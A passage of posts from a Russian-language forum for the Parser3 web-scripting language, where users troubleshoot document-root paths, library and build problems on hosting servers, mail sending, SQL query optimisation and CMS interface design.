          /tmp/parser_3.2.2_XML_safe_mode.zip.zip, and cannot find /tmp/parser_3.2.2_XML_safe_mode.zip.ZIP, period.\
[/code]"
"65117","Для начала, чтобы было проще работать другим над одним проектом нужно расписать:\
- общую архитектуру системы:\
1. структуру базы\
2. логику работы: какова последовательность работы от запроса пользователя до конечного результата\
\
- структуру выходного XML-документа и описание его тэгов-элементов для того, чтобы понимать логику построения своих шаблонов\
- общие правила построения шаблона (для единого стиля)\
- приоритетные задачи\
\
Ну а далее, желающие могут подписаться под какие-то конкретные задачи.\
\
Мой личный интерес (я уже его упоминал) связка Ext JS Library c парсером, точнее, отдельных его элементов. В частности, мне нужен нормальный GUI для отображения дерева сайта и его \"живого\" (через AJAX) редактирования: сортировки, перетаскивания.\
\
Все это я хочу применить в своей CMS. Хотя, если логика Odminko окажется лучше - готов адаптироваться на нее."
"65118","Как я понимаю, вас интересует не суть, а чистота слова.\
\
Хорошо. Поясню. Для меня, на данном этапе интересует архитектура CMS-системы и и разного рода API к ней для взаимодействия с готовыми библиотеками (с тем же Ext).\
\
Проектирование интерфейса пока стоит второй задачей. На настоящий момент я пока дорабатываю интерфейс индивидуально под каждого клиента (не все, а то что совсем клиенту не удобно). На разработку \"человеческого GUI\" пока нет времени + для его реализации необходимы соответствующая поддержка движком."
"65119","Я поставил свою систему на РБК и фундаментальная переменная выдала:\
request:document-root = /www/monolitb/www/htdocs/\
\
Тут она выдала лишний слеш на конце. Никогда его не выдавала нигде! А тут дописали. Я щас проверил, всюду без слеша.\
\
Дело в том, что у меня все пути рассчитываются от этой document-root и лишний слеш не дает правильно работать (число знаков увеличилось на 1).\
Сайты естественно не работают.\
\
[b]Это ошибка Парсера или с сервера такое гонится?[/b]"
"65120","нельзя его разработку GUI backend-а откладывать на потом, иначе может быть потрачено много сил и времени на создание никому не нужного API, с помощью которого просто невозможно реализовать некоторые вещи.\
\
сначала идеология, потом проектирование GUI, потом API + дизайн GUI.\
\
P.S. imho\
P.P.S. всё это не касательно данной CMS"
"65121","Насчет откладывать на потом - согласен.\
\
У меня на данном этапе обозначены ключевые моменты интерфейса и я от них отталкиваюсь. Однако, многие из важны для GUI моментом я пока не могу реализовать из-за отсутствия необходимых API.\
\
Я говорю, что api для меня пока важнее так как на данном этапе я пока стараюсь отладить сам движек. Я пока работаю один и большую часть проектов, работающих на моей CMS-системе также обслуживаю сам и для меня пока важна функциональность админки. Я пока готов мириться с ее некоторыми \"неудобствами\", т.к. мне пока не хватает времени реализовать те идеи по интерфейсу которые есть в полной мере.\
\
Цепочка: идеология > проектирование GUI > API > дизайн GUI\
хорошо работает когда есть время, или когда работаешь в команде и каждый занимается своим делом. На \"бумаге\" у меня все расписано, но сил хватает только на часть \"звеньев\" общей цепи."
"65122","Или Вам нужны более сложные подходы??\
Тогда задавайте/меняйте переменную через парсер."
"65123","То есть в Апаче прописано, что нельзя ставить слеш в конце. Парсер это не отслеживает и не исправляет. Что впрочем логично. Значит это ошибка сервера, точнее администратора. И придется это отслеживать вручную в своей системе уже...\
\
Ну вроде ясно стало.\
Спасибо!"
"65124","... чтобы двойные слеши мешали нормальной работе скриптов. У меня иногда и по три слеша встречается: но рпоблем с этим нет.\
\
Я уже не говорю, что можно было в auto.p написать примитивный код:\
[code]\
  $request:documetn-root[^request:document-root.trim[end;/]]\
[/code]"
"65125","Да, \"бывают проблемы\", судя по комментарию в доке.\
\
Но! У меня ни разу не было проблем с двойными (да хоть тройными слешами). Что в путях к файлам, что в url.\
\
Покажите пример кода, где двойной слеш криво отрабатывает."
"65126","[quote]... чтобы двойные слеши мешали нормальной работе скриптов. У меня иногда и по три слеша встречается: но рпоблем с этим нет.[/quote]\
\
Я же написал, что подсчитываю число символов. А слеш это лишний символ. Вот и не работает у меня программа как надо.\
\
[quote]Я уже не говорю, что можно было в auto.p написать примитивный код: \
  $request:documetn-root[^request:document-root.trim[end;/]][/quote]\
\
Это я уже сам дописывал еще до создания темы.\
Мне тут хотелось выяснить причины проблемы. Причины узнал. И поблагодарил того, кто помог:)"
"65128","У меня такая же ошибка!\
Я на firstvds.ru (freebsd 6, Apache1.3.41, mysql 4)"
"65129","Попробуй так \
\
/usr/local/lib/mysql/libmysqlclient.so\
\
:)"
"65130","на нём распаковщик подвисает, во время распаковки создаются какие-то странные файлы.\
\
Результат можно скачать тут - переупаковано в RAR.\
\
http://slil.ru/25492124"
"65131","Я нашел решение!\
\
Качаем libmysqlclient.so.14 от сюда [url=\"http://files.ptitov.ru/parser/\"]http://files.ptitov.ru/parser/[/url]\
и заменяем им свою библиотеку.\
\
У меня все заработало :) [url=\"http://www.rostovpeople/restaurants/\"]www.rostovpeople/restaurants/[/url]"
"65133","http://whitespace.ru/file/prop.gif\
\
По тексту тоже надо, но придумать не могу, так как точно не понимаю, что значит \"Заголовок ссылки (title)\" и \"Путь в адресной строке\".\
\
Отличия видите на картинках?"
"65134","У меня тож не встречалось..."
"65135","Я думаю, диалог требует более серьезной доработки. Хотел даже убрать его и сделать как с папками в Маке. Но не получится. Точно.\
\
Хочу сделать превьюшки шаблонов, т.к. по названию ничего не понятно.\
И нужно более подробное описание модулей (по той же причине).\
\
С кнопками — да, наверное, так. Можно еще и \"Отмену\" убрать. Крестик же есть... Но тогда как-то они одиноко будут смотреться по разные стороны формы...\
\
Да, тексты корявые.\
\"Заголовок ссылки (title)\" — это свойство title ссылки на данную страницу.\
\"Путь в адресной строке\" — это последняя часть пути в адресной строке. Не знаю, как еще объяснить... Вот: httр://www.сaйт.ru/страница/[b]новая_страница[/b]/\
\
Если у меня будет свобода действий в формировании этого диалога, то я сделаю просто путь до раздела, в котором эта страница создается, а дальше будет вписано поле ввода:\
httр://www.сaйт.ru/страница/[b][это уже textarea][/b]/"
"65136","Справа от полей нужно оставить место, т.к. там появляются значки \"!\", если поле заполнено с ошибками (валидатор работает). Хотя, можно значки убрать. Поля с ошибками подчеркиваются красной ломаной линией. Но на значках всплывает подсказка об ошибке."
"65137","кнопки обычно расположены наоборот: слева «Ok», справа — «Отмена».\
И к этому привыкают годами.\
После чего в подобном диалоге через раз будут нажимать «Отменить» вместо «Сохранить» и материться.\
\
Лучше такое делать настраиваемым/легко редактируемым."
"65138","Вывод — нужно графически выделять элементы. Пиктограмма, размер кнопки, цвет...\
\
У меня сейчас голова плохо думает: пытаюсь не спать очень давно. Как высплюсь — порисую диалог."
"65139","[quote]нужно графически выделять элементы. Пиктограмма, размер кнопки, цвет...[/quote]\
\
Да хоть зелёная в красную крапинку со знаком «кирпич» поверх — не поможет.\
Сам работаю по Win, есть некоторые программы, подсовывающие свои диалоги, с «правильным», по их мнению, расположением кнопок.\
Постоянно отменяю вместо подтверждения и долго впоминаю родственников дизайнеров, придумавших эти диалоги.\
\
Кликаешь «на автомате», ибо привык, что слева подтверждение, а справа — отмена.\
\
Что до «сбросить», лично для меня всегда было загадкой назначение подобных кнопок в диалогах.\
Ну нет необходимости очищать всё. Ошибки обычно допускаются в одном-двух полях, которые совершенно несложно поправить.\
А вот случайно попасть по такой кнопке — всегда приятно: вводил вводил, «бац!» — пусто."
"65140","[code]@_dirspec[filespec][full_path]\
$full_path[^file:dirname[$filespec]]\
$result[^full_path.right(^full_path.length[]-^request:document-root.length[])][/code]"
"65141","Согласен. Если нет необходимости в данном случае, то кнопка [Очистить] нахрен не нужна.\
\
Но только в винде иной принцип. Там кнопки чаще расположены по-разному в диалогах, окнах или сообщениях об ошибках. По центру, справа, или как Билл захочет. Тот случай, о котором вы говорите, как я понял, именно либо диалог, либо сообщение об ошибке. Кнопки расположены близко (локус внимания), пользователь всегда думает, что кнопка [Да] — слева. В остальных случаях кнопки расположены дальше, что заставляет его сместить локус внимания налево или напрво. Тут уже глупо нажимать автоматом, основываясь на том, что в GUI Windows кнопка [Да] чаще расположена слева. =)"
"65142","... но такое развалится не только при лишних слешах в документ-руте - такой метод надо писать совершенно иначе. \
\
С трудом представляю зачем вобще мог понадобится такой метод, но он явно говорит о том, что в вашей системе что-то нехорошо с безопасностью. Хотя дело Ваше."
"65143","перезакачивал 5 раз, на 99% какая-то ошибка. Dial-up... Сейчас еще раз попробую"
"65144","Рассмотрим пример сайта artlebedev.ru, где есть сайты и справа список людей, их делавших.\
если юзать реляционную модель, то просто создаются 3 таблицы: портфолио, сотрудники и проекты. все четко и ясно.\
еслю юзать XML, то можно отдельно сделать список сотрудников, а в проектах указать их коды, т.е. типа\
<portfolio>\
	<project name=\"Sample\">\
		<employee id=\"21\" />\
		<employee id=\"34\" />\
	</project>\
	<project name=\"Sample2\">\
		<employee id=\"35\" />\
		<employee id=\"34\" />\
	</project>\
</portfolio>\
но теряется мнемоничность. в идеале хочется иметь\
<portfolio>\
	<project name=\"Sample\">\
		<employee>\
			<name>...</name>\
			<post></post>\
		</employee>	\
		\
		<employee>\
			<name>...</name>\
			<post></post>\
		</employee>\
	</project>\
	<project name=\"Sample2\">\
		<employee>\
			<name>...</name>\
			<post></post>\
		</employee>\
		<employee>\
			<name>...</name>\
			<post></post>\
		</employee>\
	</project>\
</portfolio>\
\
это всего лишь пример, вопрос в следующем: лучше хранить все в виде таблиц и писать методы, конвертирующие это все в XML, или есть иные более разумные способы?"
"65145","Ничего не мешает хранить данные в обдуманной базе, а показывать в «структурированном» XML, если писать шаблон под такое удобнее."
"65146","просто статический контент всегда удобнее хранить в готовом XML-виде, а динамический, вроде новостей, голосований и т.д., раскидан по таблицам, как-то это раздражает мой разум :)"
"65149","[quote]такой метод надо писать совершенно иначе. [/quote]\
\
Буду рад услышать как его переписать. Он у меня уже сколько лет работает, но совсем не радует своей реализацией.\
\
[quote]С трудом представляю зачем вобще мог понадобится такой метод, но он явно говорит о том, что в вашей системе что-то нехорошо с безопасностью.[/quote]\
\
Он нужен для определения каталога, где находится текущий модуль.\
\
Например, имею я модуль /path/to/module.p. И рядом лежит библиотека, используемая только этим модулем: /path/to/lib.p. Ну и этот метод нужен для динамического определния пути к этой библиотеки при условии, что она всегдя рядом с модулем, только неизвестно в каком каталоге они находятся."
"65152","P.S. Не забудьте подписать с какими включенными опциями собирали."
"65155","Сильно сомневаюсь, что у Сухроба там куча хитрых реврайтов."
"65156","... такой \"хак\" - написать путь к модулю в виде \"./library.p\""
"65157","?\
при чем тут $request:uri? задача найти не путь. куда обратились, а путь, где лежит полключенный класс. обход по CLASS_PATH не канает, т.к. подключить мы можем ^use[/../as/we/want/class.p]\
\
т.е. формирование из абсолютного пути относительный (от корня), который потом и будет использоваться для того, чтобы парсером загружать лежащие рядом с классом файлы -- единственное решение (сам делал аналогичное). другое дело _как_ делать данное преобразование. я бы для этого length & Co не использовал-бы. наверно просто вырезал бы match-ем, где шаблон -- ^^^taint[regex][$request:document-root]."
"65158","задачу определения пути, откуда она действительно была загружена, чтобы загрузить [b]лежащий рядом с ней файл[/b] $t[^table::load[/что/то/library.txt]], это не решает."
"65159","... нормальный метод, который чистит document-root и filespec от лишних слешей (только таинт тут не катит) и потом вычитает его document-root из filespec."
"65160","статику и в табличках удобно хранить. А еще удобней все хранить в виде готовых статических html-страницах. да и побыстрее будет..\
но любой статический контент в любой момент может стать динамическим.\
\
поэтому лучше сразу его хранить в специализированных хранилищах, коими и являются СУБД. (ну мы ведь говорим о нормальных объемах данных, не пару килобайт)\
\
А xml - это в первую очередь транспорт из произвольного источника в произвольный."
"65162","[quote]А зачем использовать абсолютные пути-то?[/quote]\
\
А как еще можно получить доступ из модуля? \
\
Если вы имеете ввиду текущий каталог, так он другой совсем. Модуль не в текущем каталоге."
"65163","Теперь у меня в системе нечто подобное:\
\
[code]@_dirspec[filespec][full_path]\
$request:document-root[^request:document-root.trim[end;/]]\
$full_path[^file:dirname[$filespec]]\
$result[^full_path.right(^full_path.length[]-^request:document-root.length[])][/code]\
\
Которое уже лучше справляется со своими обязанностями, даже если админ сервера добавит лишний слеш."
"65165","[code]\
@_dirspec[filespec][dir]\
$dir[^file:dirname[$filespec]]\
$result[^dir.match[^^^taint[regex][$request:document-root]][]{/}]\
[/code]\
\
хотя возможно ваш код эффективнее.\
\
прюс на самом деле надо бы проверять пришедшие относительные пути (./path/to/somewhere) и ругаться на них."
"65166","Немножно офф наверное, но поиском не нашел чтобы упоминалось.\
\
http://ln.com.ua/~openxs/articles/smart-questions-ru.html"
"65167","Скачал все рекомендованные файлы auth.zip sql.zip. Он все ругается на его отсутствие пришлось удалить все ссылки на него (статистика запросов и т.д.)"
"65168","У кого нибудь работает ?\
\
Я получаю ошибку:\
\
[code]\
send\
\
$MAIN:MAIL.SMTP not defined\
[/code]\
\
В auto.p\
\
Прописано:\
\
$MAIL[\
	$.SMTP[localhost:25]\
]\
\
В чём может быть хитрость ?\
\
Миша посоветовал сделать так:\
\
\"перед вашим mail:send напишите: ^throw[;=$MAIN:MAIL.SMTP=]\"\
\
Сделал выдаётся ошибка с =localhost:25="
"65169","Добрый день.\
Как реализовать подмену заголовков http.\
что бы ставить нужную дату изменения документа?\
Прочитал доки, не нашел, искал на форуме, не нашел.\
Помогите"
"65170","если бы поискали в доке например по 'location' -- обязательно нашли бы."
"65171","согласен с Вами. просто замечаю тенденцию хранить в БД уже готовый XML, появляются даже средства СУБД для этого. вот думаю, может, те же новости можно хранить не просто в виде таблице, в в виде XML в таблице?"
"65172","Там нет точного описания именно этого заголовка. Хотелось бы точного примера. Так же где именно надо располагать, как в пхп перед выводом чего либо или можно где нить в середине"
"65174","обязательно попробую)\
Спасибо"
"65175","в написанном тестовом коде букв оказалось бы меньше чем в вашем первом сообщении.\
\
кроме поиска по доке есть ещё поиск по форуму, и если бы вы написали в формочку слева last-modified то на первой же странице с результатами вы увидели бы пример использования, даже не читая тела сообщения."
"65177","[code]$MAIL[ \
   $.SMTP[localhost]\
][/code]\
\
или\
\
[url=\"http://www.parser.ru/f/1/download/utils/smtp_emulator.zip\"]smtp_emulator.zip[/url] (14.08.2006  506,4 КБ)\
Эмулятор работы SMTP-сервера. Ничего не отправляет, но аккуратно журналирует все переговоры с клиентами, сохраняя копию в EML-файле Outlook."
"65179","Всем привет.\
Можно ли использовать Parser через FastCGI? Были у кого-то попытки такое сделать?"
"65180","В основном требуется администрирование всяких серверов со сложным софтом, написанном на парсере и С++.\
\
Описание вакансии [url=\"http://madgroup.ru/madjob/sysadmin/\"]здесь[/url].\
\
Стучать в buben^..^madgroup.ru или в аську: 776166."
"65184","хочу что то такое:\
[code]^case[^tab.menu{$tab.a}[^;]]{}[/code]\
\
или\
[code]\
$str[1;2;3]\
^case[$str]{}\
[/code]"
"65185","Здравствуйте. Есть исходники сайта. Пытаюсь поставить на локальную машину, зхаожу на главную страницу, выдает:\
create\
Entity: line 3: parser error : Input is not proper UTF-8, indicate encoding !\
Bytes: 0xEA 0xF3 0xEF 0xE8\
	<path> <piece href=\"/\">Главная страница</piece> </path>\
	                                  ^\
\
Z:/home/localhost/www/xml.html(120:19) \
--------------------------------------------------------------------------------\
if Z:/home/localhost/www/xml.html(109:2) \
connect Z:/home/localhost/www/xml.html(66:2)"
"65187","Дело в том что в интернете сайт работает А на локольном комне запустить не получается. В папке с парсеров должен быть файл utf-8.cfg ?"
"65188","так сделал\
[code]\
@URIDecode[text]\
$rep[^table::create{code	char\
%c0	А\
%c1	Б\
%c2	В\
%c3	Г\
%c4	Д\
%c5	Е\
%c6	Ж\
%c7	З\
%c8	И\
%c9	Й\
%ca	К\
%cb	Л\
%cc	М\
%cd	Н\
%ce	О\
%cf	П\
%d0	Р\
%d1	С\
%d2	Т\
%d3	У\
%d4	Ф\
%d5	Х\
%d6	Ц\
%d7	 \
%d8	Ш\
%d9	Щ\
%da	Ъ\
%db	Ы\
%dc	Ь\
%dd	Э\
%de	Ю\
%df	Я\
%e0	а\
%e1	б\
%e2	в\
%e3	г\
%e4	д\
%e5	е\
%e6	ж\
%e7	з\
%e8	и\
%e9	й\
%ea	к\
%eb	л\
%ec	м\
%ed	н\
%ee	о\
%ef	п\
%f0	р\
%f1	с\
%f2	т\
%f3	у\
%f4	ф\
%f5	х\
%f6	ц\
%f7	ч\
%f8	ш\
%f9	щ\
%fa	ъ\
%fb	ы\
%fc	ь\
%fd	э\
%fe	ю\
%ff	я}]\
$result[^text.replace[$rep]]\
[/code]"
"65189","Предыдущие версии parser не ставил. Уже использую 3.2.2\
---\
[b]\
В службе поддержки ответили коротко и ясно:[/b]\
Вам нужно переустановить этот парсер, так как сейчас есть несовместимость\
библиотек:\
uXXXX@be38$ /home/u35817/XXXXXXXXX.ru/cgi-bin//parser3.cgi\
ELF interpreter /libexec/ld-elf.so.1 not found\
Abort trap\
---\
\
и вообще, есть ли parser3.2.2 на FreeBSD6.1???? (или можно ставить от 6.2)\
-----\
\
Если у кого сайт работает на мастерхосте, можете дать Папку CGI-BIN  ??? (без логов конечно ;) )"
"65192","Проблема простенькая форма:\
\
http://politype.ru/personal/vakansii/\
\
Если отправлять без файла всё нормально. Но стоит приложить файл то CORE.\
\
Что может быть ? Предполагаю это изза того что у них (hoster.ru) amd64\
\
А парсер установлен 32х.\
\
Я прав ?\
\
[code]\
^mail:send[\
    $.from[$from] \
    $.to[$to] \
    $.subject[$theme] \
    $.text[^text_plain[]] \
    $.html{^text_html[]}\
	^if($form:attach is \"file\"){\
		$.file[$form:attach]\
	}\
]\
[/code]"
"65193","- попробуйте полную форму аттачмента\
- попробуйте задать кодирование в base64\
- попробуйте сообщить некоторые подробности о парсере и о хостинге (версии, кто собирал, параметры сборки)"
"65194","Размер файла около 20 кб\
Парсер стандартный скачан с этого сайта"
"65195","скачать собранный мною (с поддержкой xml) по [url=\"http://ifolder.ru/5442270\"]ссылке[/url]"
"65196","Здраствуйте. Очень нужна ваша помощь.\
\
Вот есть такой вот кривой скриптик, который стал выдавать too many heap sections когда количество записей в бд подросло. Раньше было ок.\
\
\
^while($st <= $en){\
	<td class=\"print\" align=\"center\"><b>$st.day<b></td>\
	^st.roll[day](1)\
  \
  }\
$st[^date::create[$sdate]]\
\
\
<tbody>  \
 \
     \
   ^connect[$connect_db]{\
   $fam[^table::sql{select\
	   id_c, f, i, o\
   from\
	  c\
	  ORDER BY\
	  f\
	  ASC\
	  }]     \
    }\
      \
  ^fam.menu{\
   <tr>\
         \
    ^connect[$connect_db]{\
    $ca[^table::sql{select\
    time, id_c\
    from\
    c_sig\
    WHERE id_c = $fam.id_c\
    GROUP BY DAYOFMONTH(time)\
    \
    }]\
    }\
    <td class=\"print\">$fam.id_c</td><td class=\"print\">$fam.f ^fam.i.left(1). ^fam.o.left(1).</td>\
    \
    $n(0)\
    ^while($st <= $en){\
    <td class=\"print\" align=\"center\">\
         ^ca.menu{\
         $parts[^ca.time.split[^#20;lh]]\
         $time[^date::create[$parts.0]]\
         ^if($time <= $en && $time >= $st1){\
         ^if($time == $st){+ $n($n+1)}{ }\
         }\
         }\
         ^st.roll[day](1)\
    </td>\
    \
    }\
    \
    <td class=\"print\">$n</td>\
    $st[^date::create[$sdate]]\
    \
    \
  </tr>\
  }\
 \
</tbody> \
\
\
Что собственно он делает - мы вводим промежуток дат от $st до $en,\
скрипт рисует табличку, где колонки это даты с шагом 1, а строки - фамилии. Работает так: считываем все фамилии из одной таблицы бд, перебирая их подсоединяемся к другой таблице шщем все записи где текущая фамилия и выбираем те в которых поле с датой попадает в промежуток от $st до $en. Я понимаю что скрипт написан достаточно криво, но плииз посоветуйте что можно сделать.\
Меня очень беспокоит этот кусок:\
\
^while($st <= $en){\
    <td class=\"print\" align=\"center\">^ca.menu{\
    $parts[^ca.time.split[^#20;lh]]\
    $time[^date::create[$parts.0]]\
    ^if($time <= $en && $time >= $st1){\
    ^if($time == $st){+ $n($n+1)}{ }\
    }\
    }\
    ^st.roll[day](1)\
\
Но как сделать иначе придумать не могу."
"65197","скачал, поставил, получил в логе\
Premature end of script headers: /home/uXXXXX/egipet-tury.ru/cgi-bin//parser3.cgi\
\
И интересно почему там двойной слэш, когда в .htaccess всё прописано нормально... права к файлу 755. Какие ещё ошибки могут быть?\
Варианты ещё какие-нибудь есть?\
\
PS: Ещё доп вопрос... я сборку ни когда не делал... где можно посмотреть в какой проге это делается и т.д.? как говорится с нуля...."
"65198","однако читать ваш код, который вы поленились отформатировать, чтобы что-то понять и посоветовать, нет ни малейшего желания.\
\
P.S. проверить принадлежность диапазону дат можно прямо в sql запросе."
"65199","http://www.parser.ru/forum/?id=64180\
\
P.S. нашел баг в сокращенной записи аттачмента файла. fixed в head."
"65200","И все таки проблеам не решена. Прошу помощи."
"65202","криво слил файл с сервера.\
Перезалил заново, вот [url=\"http://ifolder.ru/5442968\"]новый линк[/url]\
\
Убедитесь, что заливаете файл на сервер в бинарном режиме.\
\
Про сборку есть куча инфы на форуме, но на Мастерхосте там отдельные пляски."
"65204","[code]^while($st <= $en){\
	<td class=\"print\" align=\"center\"><b>$st.day<b></td>\
	^st.roll[day](1)\
  \
  }\
$st[^date::create[$sdate]]\
\
\
<tbody>  \
 \
     \
   ^connect[$connect_db]{\
   $fam[^table::sql{select\
	   id_c, f, i, o\
   from\
	  c\
	  ORDER BY\
	  f\
	  ASC\
	  }]     \
    }\
      \
  ^fam.menu{\
   <tr>\
         \
    ^connect[$connect_db]{\
    $ca[^table::sql{select\
    time, id_c\
    from\
    c_sig\
    WHERE id_c = $fam.id_c\
    GROUP BY DAYOFMONTH(time)\
    \
    }]\
    }\
    <td class=\"print\">$fam.id_c</td><td class=\"print\">$fam.f ^fam.i.left(1). ^fam.o.left(1).</td>\
    \
    $n(0)\
    ^while($st <= $en){\
    <td class=\"print\" align=\"center\">\
         ^ca.menu{\
         $parts[^ca.time.split[^#20;lh]]\
         $time[^date::create[$parts.0]]\
         ^if($time <= $en && $time >= $st1){\
         ^if($time == $st){+ $n($n+1)}{ }\
         }\
         }\
         ^st.roll[day](1)\
    </td>\
    \
    }\
    \
    <td class=\"print\">$n</td>\
    $st[^date::create[$sdate]]\
    \
    \
  </tr>\
  }\
 \
</tbody> [/code]"
"65205","[code]select time, id_c[/code] вне ^fam.menu{}, в котором делать выборку сразу для всех фамилий через [code]WHERE id_c IN (^fam.menu{$fam.id_c}[, ])[/code] (с группировкой по дню сами придумайте что делать:-), потом сделать из этой таблицы хеш таблиц и при выводе html в цикле работать именно с ним.\
\
Это минимальная оптимизция. Тут их ещё много можно придумать:-)"
"65206","т.к. идёт группировка по дню, но при этом нет фильтра по году+месяцу. если в таблице содержатся данные не только за один месяц, то получается бред.\
\
понять суть вашего кода, чтобы помочь оптимизировать, сложно. расскажите что он делает (смысл, а не то что он выводит табличку где в столбцах дни, а в строках фамилии). что в ячейках (то что там '+' или ' ' видно, в чем их смысл?)? что такое $en? зачем вы разбиваете $ca.time перед созданием даты? что такое $sdate и зачем объект на её основе делается много раз?\
\
мне кажется что заниматься циклами с двиганьем даты тут незачем.\
достаньте вторым запросом из БД хеш с ключами DAYOFMONTH(time).\
\
далее делайте menu по чувакам и внутри цикл от 1 до последнего дня месяца и если в хеше с ключем равным переменной цикла что-то есть -- пишите '+'."
"65207","А смысл вот в чем есть 2 таблицы в бд. В одной fam, id_f в другой id_f, datatime, онапостоянно пополняется. Нужно печать табличку о которой я же говорил. Если во второй табличке есть запись с нужной фамилией и в datatime соответствующее число то +."
"65208","Я нашел такой способ:\
\
[code]^if(def $request:body){POST;GET}[/code]\
\
Это однозначно определяет метод запроса?"
"65210","Искал в HTTP-заголовках, а оказывается все дело в переменных окружения CGI."
"65212","всё тоже самое"
"65213","Можно ли ограничить количество отбираемый строк? Вот при такой конструкции: $thoseAbove20[^men.select($men.age>20)]\
\
Или предварительно делать копирование таблицы и там выставлять лимт и потом уже выбирать из новой? Неудобно..."
"65214","Из старой таблицы или из новой??\
\
В первом случае так:\
[code]$thoseAbove20[^men.select($men.age>20 && ^men.offset[]<_число записей_)][/code]"
"65215","И тоже самое -- что именно, \"Premature end of script headers\"??\
\
Попробуйте для начала запустить .cgi из консоли, будет ли ошибка."
"65216","Да, версия 6.1. Звонил в тех поддержку - узнавал.\
uname -a - не пробовал. Куда это писать?"
"65217","ага, оно... Просто хотелось бы чтоб была возможность как обычно $.limit(5) дописывать."
"65218","всё подробно написано в [url=\"http://masterhost.ru/support/doc/shell/\"]факе[/url].\
\
там же проверить, запускается ли парсер."
"65219","они доступны только для определённых методов и в конструкторе."
"65220","оказывается они и сами не знают, что у них не 6.1 стоит, а freeBSD4.11. Круто! Ну хоть парсер запустился! Спасибо большое!\
\
Вопрос 2: А libmysqlclient.so для FreeBSD 4.11 где можно скачать?"
"65222","В разделе \"скачать\" всё есть."
"65223","Этот фал из самого mysql вытаскивается... а я не могу найти эту версию... 5.0.45\
\
Есть разные, а нужной нету... :("
"65225","Парсер сейчас на что ругается??\
\
Правильная so'шка должна быть в MySQL на сервере.\
\
Устройте locate libmysqlclient.so и увидете её."
"65229","возможно пустить ^menu в обратный отчет?"
"65232","потому и задаю вопрос, чтобы не копировать чужие мысли."
"65233","[code]@main[]\
\
$t[^table::create{field\
10\
20\
30\
}]\
\
<div>^t.menu{$t.field}[<br />]</div>\
\
^t.sort{^t.line[]}[desc]\
\
<div>^t.menu{$t.field}[<br />]</div>[/code]\
\
[quote]\
10\
20\
30\
30\
20\
10[/quote]"
"65235","[code]\
@navigation_cell[]\
^if($sections.uri eq $request:uri){\
   <td>$sections.name</td>\
}{\
   <td> \
   <a href=\"$sections.uri\">$sections.name</a>\
   </td>\
} \
[/code]\
[b]работает нормально[/b]\
\
[code]\
@navigation_cell[]\
^if($sections.uri eq $request:uri){\
   <td>$sections.name</td>\
}{\
   <td> \
   <a href=\"$sections.uri\"; title=\"keyword\">$sections.name</a>\
   </td>\
} \
[/code]\
\
[b]а так вызывает method of MAIN (MAIN) accepts maximum 3 parameter(s)[/b]\
[i]И вообще если просто ;[/i]\
\
Подскажите в чем может быть дело?"
"65238","насколько небезопасно использование if'a на странице авторизации...\
например:\
есть таблица с логином и паролем...\
пусть они хранятся зашифрованые в MD5\
на \"закрытой\" страничке сделаю проверку если введенные данные верны то выполняется условие true(показывается содержание страницы)"
"65239","Всё зависит от того, насколько безопасный код Вы напишете. А парсер своё дело знает.\
Если не доверяете -- используйте авторизацию через апач."
"65240","за [code]^if[/code] не боюсь)))\
\
у меня возник ламерский вопрос)))\
как через апач сделать авторизацию"
"65242","чтото ника не пойму как сделать.\
\
а $en это конечная дата нашего периода $st соответственно начальная\
(вначале вводится с какой по какую дату делать этот календарь)\
$ca.time разбиваю потомучто он в формате DATATIME\
\
И хоть скрипт очень кривой, я непонимаю почему если делается календарь более чем на 2 недели parser3.exe сжирает чутьли не 500мб оперативки и зависает..\
Таблицы вроде не огромные - та где фамилии 2000 записей во второй 15000."
"65244","не думаю что вам кто-то объяснит/оповергнет указанные вами цифры расхода памяти (мне просто лень проверять сколько памяти сожрет этот, очень неоптимальный, код)\
\
выясните и расскажите где сжирается память при подобном программировании, и мы подумаем стоит ли оптимизировать некоторые из неоптимальных, но часто пришедших вам по вкусу алгоритмов."
"65246","так не работает\
[code]$str[1;2;3]\
^case[ ^process{$str}]{}[/code]"
"65247","[code]   \
^connect[$connect_db]{\
   $fam[^table::sql{select\
	   id_c, f, i, o\
   from\
	  c\
	  ORDER BY\
	  f\
	  ASC\
	  }]\
    \
    \
    $ca[^table::sql{select\
    time, id_c, DATE_FORMAT('time', '%d-%m-%Y')\
    from\
    c_sig\
    GROUP BY id_c\
    \
    }]     \
    $ca_hash[^ca.hash[id_c]]  \
      \
  ^fam.menu{\
   <tr>\
   <td class=\"print\">$fam.id_c</td><td class=\"print\">$fam.f    ^fam.i.left(1). ^fam.o.left(1).</td>\
   $n(0)\
   \
     \
   ^while($st<=$en){\
   \
   $plus[$ca_hash.[$fam.id_c].time]\
 #здесь на сколько я понимаю мы должны получить хэш с 1м id_c и множеством дат?\
\
   ^if(def $plus){\
   ^plus.foreach[time]{\
   $parts[^time.split[^#20;lh]]\
    $t[^date::create[$parts.0]]\
   <td align=\"center\">\
   ^if($t == $st){\
      + $n($n+1)}{ }\
       </td>\
        }\
        } \
        ^st.roll[day](1)\
         }[/code]\
\
Естественно это творение выдает ошибку.. Подскажите что не так. Хотябы идея правильная?"
"65249","Народ, как думаете будет ли развиваться парсер дальше? Развиваться радикально (багфиксинг не в счет).\
\
Моё мнение - нет.\
\
1. ПАФ уже не работает у Лебедева более 2-х лет, да, он является консультантом и поддерживает парсер в свободное время, которого никогда не бывает.\
\
2. У большинства квалифицированных специалистов по программированию парсер не вызвал интереса (чтобы его развивать вместо ПАФа)\
\
3. Студия Лебедева похоже потихоньку отходит от веба, и идет в сторону промдизайна и неких офлайновых услуг. Парсер ей уже не интересен.\
\
PS: Спрашиваю без всякой задней мысли. Интересны просто мнения."
"65250","Надо же, а я не знал, что PAF уже не работает в САЛе.\
\
По теме: на мой взгляд, PARSER - изначально технология с очень и очень туманным будущем (воздержусь от слова \"мертворожденная\")."
"65251","Допустим все последняя версия парсера выложена и новых не будет, будете ли вы его использовать?\
Я буду т.к. уже того что есть достаточно для быстрого решения массы задач"
"65255","Как обновить строки одной командой UPDATE с разными значениями? Или это действительно невозможно.\
А то получается что команда:\
\
[code]UPDATE tablename \
SET col=name, ...\
WHERE ...[/code]\
\
обновляет много записей, но одними и теми же значениями.\
\
А как быть, если у меня целая таблица этих значений и их надо одним запросом обновить?\
\
В Парсере нельзя запустить сразу несколько запросов UPDATE (только один). Как выкрутиться в этом случае?\
\
(Да, сразу скажу, что REPLACE не годится, ибо он удаляет строки. А нужно обновлять не все поля, а только часть.)"
"65258","Возможно, у Вас проблема с архитектурой базы или движка, если приходится делать _такое_ количество обновлений за раз.\
\
Опишите задачу, возможно она имеет другое решение или подход."
"65259","Ну не знаю что там с архитектурой...\
Обычная задача для обычного магазина.\
\
